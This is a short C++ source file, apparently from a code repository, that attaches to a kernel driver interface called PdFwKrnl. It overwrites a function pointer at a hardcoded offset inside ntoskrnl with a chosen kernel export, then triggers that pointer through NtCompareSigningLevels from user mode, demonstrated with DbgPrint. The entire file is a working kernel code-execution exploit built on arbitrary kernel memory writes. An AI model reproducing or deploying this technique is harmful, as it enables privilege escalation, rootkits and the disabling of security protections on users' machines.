55 lines
1.5 KiB
C++
55 lines
1.5 KiB
C++
#include "PdFwKrnl.h"
|
|
|
|
template <typename T, typename... Args>
|
|
T call_kernel_function(const char* function_name, Args... args){
|
|
|
|
uint64_t ntoskrnl_base = pdfwkrnl.get_ntoskrnl_base();
|
|
if (!ntoskrnl_base)
|
|
return T{};
|
|
|
|
uint64_t function_address = pdfwkrnl.get_ntoskrnl_export(function_name);
|
|
if (!function_address)
|
|
return T{};
|
|
|
|
uint64_t qword_swap = ntoskrnl_base + 0xC1DA00;
|
|
uint64_t qword_original = 0;
|
|
|
|
if (!pdfwkrnl.read_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)))
|
|
return T{};
|
|
|
|
if (!pdfwkrnl.write_virtual_memory(qword_swap, &function_address, sizeof(uint64_t)))
|
|
return T{};
|
|
|
|
HMODULE m_ntdll = GetModuleHandleA("ntdll.dll");
|
|
if (!m_ntdll)
|
|
return T{};
|
|
|
|
FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels");
|
|
|
|
using FuncPtr = T(__stdcall*)(Args...);
|
|
if constexpr (std::is_void_v<T>) {
|
|
auto func = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
|
|
func(args...);
|
|
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
|
|
return T{};
|
|
}
|
|
else {
|
|
auto func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
|
|
T return_value = func(args...);
|
|
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
|
|
return return_value;
|
|
}
|
|
}
|
|
|
|
int main() {
|
|
if (!pdfwkrnl.attach())
|
|
return -1;
|
|
|
|
printf("attached to kernel\n");
|
|
|
|
call_kernel_function<void>("DbgPrint", "called kernel function");
|
|
|
|
pdfwkrnl.detach();
|
|
return 0;
|
|
}
|